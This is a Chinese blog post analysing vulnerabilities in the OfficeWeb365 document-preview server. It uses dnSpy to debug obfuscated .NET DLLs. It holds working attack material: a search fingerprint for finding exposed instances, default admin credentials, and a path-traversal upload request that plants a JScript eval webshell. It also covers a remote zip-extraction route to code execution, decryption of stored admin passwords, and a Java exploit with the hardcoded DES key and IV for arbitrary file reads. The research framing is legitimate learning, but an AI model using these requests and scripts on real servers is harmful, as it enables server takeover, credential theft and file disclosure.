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某web365-v8.*挖掘调试学习
漏洞分析
某web365-v8.*挖掘学习,通过dnspy调试,了解混淆状态下的dll也是可以通过调试去看懂反混淆后的dll是如何处理代码逻辑的。
环境搭建-指纹 -------  #### Hunter 指纹 web.body="请输入 furl" 环境 <https://officeweb365.com/download> 使用手册 ```php 快速使用说明 更详细的使用手册详见:Docs\OfficeWeb365部署使用手册.pdf 一、默认使用方法: http://localhost:8088/?furl=文件地址 1、更改localhost:8088,可以在IIS里绑定域名、IP、端口号,数量不限。 2、furl文件地址:可以是公网地址,如:http://a.com/b.doc,也可以是本机(预览服务器)地址,如:D:\docs\b.doc。默认只接收网络地址的文件,可在配置文件中更改文件接收方式。IE对中文及特殊符号不会编码,为了兼容性考虑,最好对furl参数进行URL编码,编码方式为UTF-8。 二、后台设置界面:http://localhost:8088/config。默认用户名:myname,密码:password。 三、缓存清理及加速文件位置:officeweb365\clearcache\config.xml。使用记事本编辑。保存后,需要手动重启服务:A Officeweb365 ClearCache 2017年11月18日 V3.0.0 ``` 搭建成功   默认口令 myname/password 进入后台,可看到版本号  测试上传成功 ```php POST /PW/SaveDraw?path=../../Content/img&idx=cnvdtes2827.aspx HTTP/1.1 Host: xxx accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 142 data:image/png;base64,01s34567890123456789y1234567h8901234567m91<%@ Page Language="Jscript"%><% eval(Request.Item["ant"],"unsafe"); %>///--- ```  一、远程下载自解压的漏洞新后缀复现思路以及代码分析漏洞流程- ------------------------------ ### 0.1、查看修复情况 v8.6.1--没有开启furl-base64加密-复现--失败-cache/office/下连txt都不能访问,cache/其他目录的话既可以用xamlx重新造成`RCE` 可以看到新版就把furl漏洞修复了  ### 0.2、复现--xamlx/resx/resources后缀成功--以及过滤后缀-aspx/asmx/asp/ashx/soap/ 1、打包下载 需要提前准备 2 个文件,一个 ashx 和一个 txt 文件 将这两个文件打包为 2.zip,然后起一个 http 服务提供给网站远程下载 然后访问?furl=[http://你的公网服务器/2.zip](http://xn--6qqt3cr0as7hx7zwgvw8n/2.zip) ```php http://localhost:8088/?furl=http://10.10.11.1:88/zip.zip ```  2、找路径-预览拿到路径去拼接-shell路径--去本地看到物理路径--为什么zip里要有个jpg,只是为了拿到zippath这串数字 [http://10.10.11.167:8088/?hostPort=xxxxx.88&zippath=823082917202033900300451\_125122&fname=zip%5Cyct.jpg](http://10.10.11.167:8088/?hostPort=43.156.64.240.88&zippath=823082917202033900300451_125122&fname=zip%5Cyct.jpg) ```php C:\OfficeWeb365\officeweb\cache\office\xxxxx.88\823082917202033900300451_125122\zip\img.ashx http://10.10.11.167:8088/?hostPort=xxxxx.88&zippath=823082917202033900300451_125122&fname=zip\yct.jpg http://10.10.11.167:8088/cache/office/xxxxx.88/823082917202033900300451_125122/zip/img.ashx ```  随后即可发现网站对该 zip 进行了下载和解压,这里可以预览 txt 格式文件获取 zippath 参 数的值 3、everything确定shell位置-然后 ashx 文件的地址即为:  4、resx也可以创建目录使用-直接压缩包里的`App_LocalResources`这个`全局资源目录`也可以在压缩包里创建访问  但是officeweb里的cache目录已经不可以访问该目录下的所有文件了 cache/office <http://localhost:8088/cache/office/123.txt>  cache/excel <http://localhost:8088/cache/excel/123.txt>  ### 0.3、代码分析-压缩包的解压流程-和目录的生成流程原理看看能不能自解压到除了`cache/office`的其他目录比如`cache/excel`、`cache/word`、`cache/ppt` 路由--DefaultController  furl就有软件过期判断--和邮箱给的key有关`TRIALVER.regkey`  抓包断点 <http://localhost:8088/?furl=http://10.10.11.1:88/zip.zip>  Funcs.GetJsonLang这个函数里去获取判断参数 ```php string jsonLang9 = Funcs.GetJsonLang("SoftOut", lang9); ```   lang.json--用于判断文件有没有问题  取消优化到`downFileInfo`  shell到路径拼接  ```php string text3 = AppDomain.CurrentDomain.BaseDirectory.Replace("officeweb\\", "clearcache\\") + "config.xml"; if (!System.IO.File.Exists(text3)) { return; } try { XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load(text3); XmlElement documentElement = xmlDocument.DocumentElement; if (documentElement.SelectSingleNode("PreHost") == null) { XmlNode xmlNode = xmlDocument.CreateNode(XmlNodeType.Element, "PreHost", string.Empty); xmlNode.InnerText = text2; documentElement.AppendChild(xmlNode); } else { documentElement.SelectSingleNode("PreHost").InnerText = text2; } xmlDocument.Save(text3); Class122.ushort_0 = 5; } ```  text5拼接完成zip的包路径  最后到这里拼接完成 ```php string text = string.Concat(AppDomain.CurrentDomain.BaseDirectory + $"cache\\office\\{uri.Host}.{uri.Port}\\", data.fileName, ".docx"); ```  pdf ```php private ActionResult method_2(string string_0, DownFileInfo downFileInfo_0, string string_1, int int_0, string string_2, Parms parms_0) { //IL_0ab1: Unknown result type (might be due to invalid IL or missing references) //IL_0ab8: Expected O, but got Unknown //IL_0695: Unknown result type (might be due to invalid IL or missing references) //IL_01ac: Unknown result type (might be due to invalid IL or missing references) //IL_01b3: Expected O, but got Unknown //IL_01b5: Unknown result type (might be due to invalid IL or missing references) //IL_01bc: Expected O, but got Unknown //IL_0472: Unknown result type (might be due to invalid IL or missing references) //IL_0479: Expected O, but got Unknown //IL_042d: Unknown result type (might be due to invalid IL or missing references) //IL_0434: Expected O, but got Unknown //IL_1084: Unknown result type (might be due to invalid IL or missing references) //IL_108b: Expected O, but got Unknown //IL_04b9: Unknown result type (might be due to invalid IL or missing references) //IL_04c3: Expected O, but got Unknown //IL_02d3: Unknown result type (might be due to invalid IL or missing references) //IL_02da: Expected O, but got Unknown //IL_1181: Unknown result type (might be due to invalid IL or missing references) //IL_1186: Unknown result type (might be due to invalid IL or missing references) //IL_118d: Unknown result type (might be due to invalid IL or missing references) //IL_1198: Unknown result type (might be due to invalid IL or missing references) //IL_11a7: Expected O, but got Unknown string text = Path.GetExtension(downFileInfo_0.fName).ToLower(); switch (text) { case ".pdf": switch (string_1) { case "7": { FileInfo fileInfo = new FileInfo(string_0); fileInfo.Refresh(); string text2 = "cache\\PDF\\" + Funcs.FilePathEncodeStr(0, fileInfo.LastWriteTime, Path.GetFileNameWithoutExtension(fileInfo.Name), fileInfo.Length) + "\\temp\\"; string text3 = AppDomain.CurrentDomain.BaseDirectory + text2; if (!Directory.Exists(text3)) { Directory.CreateDirectory(text3); } InputPdf val = new InputPdf(string_0); PdfRasterizer val2 = new PdfRasterizer(val); int count = val2.Pages.Count; Dictionary<object, object> dictionary2 = new Dictionary<object, object>(); dictionary2.Add("total", count); dictionary2.Add("fileName", fileInfo.Name); dictionary2.Add("fileSize", fileInfo.Length); string originalString = base.Request.Url.OriginalString; string text4 = originalString.Substring(0, originalString.IndexOf('?')).TrimEnd('/'); Dictionary<string, string> dictionary3 = new Dictionary<string, string>(); if (parms_0.index > -1 && parms_0.index < count) { string text5 = $"p{parms_0.index + 1}.png"; if (!System.IO.File.Exists(text3 + text5)) { InputPdfPage val3 = val.Pages[parms_0.index]; FixedImageSize val4 = new FixedImageSize((float)Convert.ToInt32(val3.Width * 2.0), (float)Convert.ToInt32(val3.Height * 2.0)); val2.Pages[parms_0.index].Draw(text3 + text5, (ImageFormat)(object)ImageFormat.Png, (ImageSize)(object)val4); } string value = text4 + "/" + text2.Replace("\\", "/") + text5; dictionary3.Add("hd", value); dictionary3.Add("in", text4 + "/pw/getImage?url=" + Funcs.Encrypt(text3 + text5) + "&size=1"); dictionary3.Add("th", text4 + "/pw/getImage?url=" + Funcs.Encrypt(text3 + text5) + "&size=2"); } dictionary2.Add("Pages", dictionary3); return Json(dictionary2, JsonRequestBehavior.AllowGet); } ``` 这里看到一个转折--pdffile-我怀疑是不是zip里有pdf就会到这个目录下--但是看来是输了,zip里有pdf和直接请求pdf都是不行的    回溯应该是在pdfcontroller  2、参数 参数下载地方  二、混淆dll的调试-通过看反混淆后的dll的代码逻辑去调试混淆的环境内容 ------------------------------------- 8.16-config.config 密码解密-SetSaveController --Dx.OfficeView.dll ```php <User Name="myname" PassWord="L3438_WrZBfx57iA@dHAOA==" SuperMan="L3438_WrZBfx57iA@dHAOA==">True</User> ```  ### 0.1、遇到的问题 dnspy--C#交互容易抛出异常  重新用本机的反混淆后的dll去C#交互也是一堆异常  vistudio写的也会,无论是混淆了的dll,还是解开混淆后的dll   重新混淆dll--丢进去iis--想法,暂时还无法实现,因为不清楚怎么把反混淆的dll重新混淆回去原来的样子 ```php .NET Reactor 4.x>>>>>.NET Reactor ```  ### 0.2、新想法解决问题 只能直接用原版的代码逻辑去解密了,也就是说我要改config.config里的password,看代码,这两个都是解密的,一个是提取,一个是解密 ```php string text = method_5(documentElement, "User", "PassWord"); 读取原配置文件提取PassWord text = Funcs.smethod_2(text, "dx185185", "dx185185"); 解密text ```   果然和自己想法一样-到最后因为重置密码,最后可以会有属于加密的方式再这里--前提是上面提取到解密到对比拿到的flag必须是一样的,才可以触发到这里 ```php modValue.AttrValue.Add("PassWord", Funcs.smethod_1(PassWord1, "dx185185", "dx185185")); ```  试一下功能,会不会说修改了以后就会保存再config.config了,如果是的话,自己任意文件下载config.config回来拿到的password,就哭呀直接丢到config.config去提取去解密了 配置已更改,系统设置-重启生效  去看看config.config里的--拿到123456的密码了  debug调试--还是原来的思路试试--结果就比如我下载回来的config.config文件里的`password`加密字段-我是不知道的,然后我直接就丢进config.config文件里直接就解密了    我重新丢回我7.13的进去还是一样可以拿到密码 ```php 5WaD@Vd1uxk= ```  三、前台文件读取加密exp编写以及漏洞加密流程调试分析--/Pic/Indexs-key的任意文件读取-8.6.1.0 ----------------------------------------------------------- ### 复现 ```php GET /Pic/Indexs?imgs=jCXF6i9anXA0lkOVC3FrBg==GG HTTP/1.1 Host: 10.10.11.184:8088 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 ``` ```php GET /Pic/Indexs?imgs=Vieapcg5Db3PFro9X1GI0QdikpPVe6TmlgvNfjPkqO2+ZjprzMdy0Q==GG HTTP/1.1 Host: 10.10.11.184:8088 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 ```  1、前台文件读取加密exp编写-加密数据exp-获取key和iv  java ```php import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.util.Base64; public class ioffice_web_pic_indexs { private static byte[] key = {(byte)102, (byte)16, (byte)93, (byte)156, (byte)78, (byte)4, (byte)218, (byte)32}; private static byte[] iv = {(byte)55, (byte)103, (byte)246, (byte)79, (byte)36, (byte)99, (byte)167, (byte)3}; public static void main(String[] args) { String readFile = "../../../../../../windows/win.ini"; // 替换为你的输入字符串 System.out.println("input: " + readFile); byte[] encryptedText = desEncrypt(readFile.getBytes()); String base64Encoded = Base64.getEncoder().encodeToString(encryptedText); // 补位 imgs.Length-2 以下随意填充2个字符 base64Encoded += "GG"; System.out.println(base64Encoded); } public static byte[] desEncrypt(byte[] plaintext) { try { SecretKeySpec keySpec = new SecretKeySpec(key, "DES"); IvParameterSpec ivSpec = new IvParameterSpec(iv); Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec); return cipher.doFinal(plaintext); } catch (Exception e) { e.printStackTrace(); return null; } } } ``` ### 漏洞加密流程调试代码分析-`ReadAllBytes`配合`new StreamReader().ReadToEnd()`最后`.File(fileContents, "image/png")`读取-代码调试  ```php public ActionResult Indexs(string imgs) { if (!string.IsNullOrEmpty(imgs)) { byte[] array = Convert.FromBase64String(base.Server.HtmlDecode(imgs).Trim().Replace("%", "") .Replace(",", "") .Replace(" ", "+") .Remove(imgs.Length - 2, 2)); DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider { Key = byte_0, IV = byte_1 }; MemoryStream stream = new MemoryStream(array, 0, array.Length); ICryptoTransform transform = dESCryptoServiceProvider.CreateDecryptor(); byte[] fileContents = System.IO.File.ReadAllBytes(new StreamReader(new CryptoStream(stream, transform, CryptoStreamMode.Read), Encoding.Default).ReadToEnd()); return File(fileContents, "image/png"); } base.Response.CacheControl = "no-cache"; base.Response.Cache.SetMaxAge(TimeSpan.FromSeconds(0.0)); byte[] fileContents2 = System.IO.File.ReadAllBytes(AppDomain.CurrentDomain.BaseDirectory + "Content\\img\\error.png"); return File(fileContents2, "image/png"); } public PicController() { Class130.TSEqjRZz0Ob3v(); byte_0 = new byte[8] { 102, 16, 93, 156, 78, 4, 218, 32 }; byte_1 = new byte[8] { 55, 103, 246, 79, 36, 99, 167, 3 }; base..ctor(); } ``` 1、base64解密-这里除了讲传进来的imges的加密`base64`内容替换`%`号、`,`号、`+`号,还有`Remove`去掉最后两位,经过了替换和`Remove`处理后才再把`imges`内容base64内容解密接码 ```php byte[] array = Convert.FromBase64String(base.Server.HtmlDecode(imgs).Trim().Replace("%", "").Replace(",", "").Replace(" ", "+").Remove(imgs.Length - 2, 2)); ```  2、descryptoServiceProvider解密,导入加密key和iv进行解密,获取`filepath`和`fileContents` ```php DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider { Key = this.byte_0, IV = this.byte_1 }; Stream stream = new MemoryStream(array, 0, array.Length); ICryptoTransform transform = descryptoServiceProvider.CreateDecryptor(); byte[] fileContents = System.IO.File.ReadAllBytes(new StreamReader(new CryptoStream(stream, transform, CryptoStreamMode.Read), Encoding.Default).ReadToEnd()); return base.File(fileContents, "image/png"); ``` fileContents里,`new StreamReader().ReadToEnd()`获取文件路径`filepath`,而`System.IO.File.ReadAllBytes(...)`是获取文件路径`filepath`里的内容并且 读取到的字符串转换为字节数组,即文件内容的二进制表示 `byte[]` 3、最后`File`配合`ReadAllBytes`触发文件读取 ```php base.File(fileContents, "image/png"):使用 base.File(...) 方法创建一个文件结果对象。第一个参数是文件内容的字节数组,第二个参数是文件的 MIME 类型,指定为 "image/png" 表示返回的是 PNG 图片。 ```  · 四、总结 ---- 本篇文章主要学习和总结的知识点是要如何在混淆的dll的环境下,通过反混淆的dll看清楚代码逻辑,在还有些不清楚的传递方法或者处理逻辑参数时,调试后获取到的值能够让自身快速去了解漏洞的处理逻辑,和导致漏洞形成的原因
发表于 2024-02-02 09:00:02
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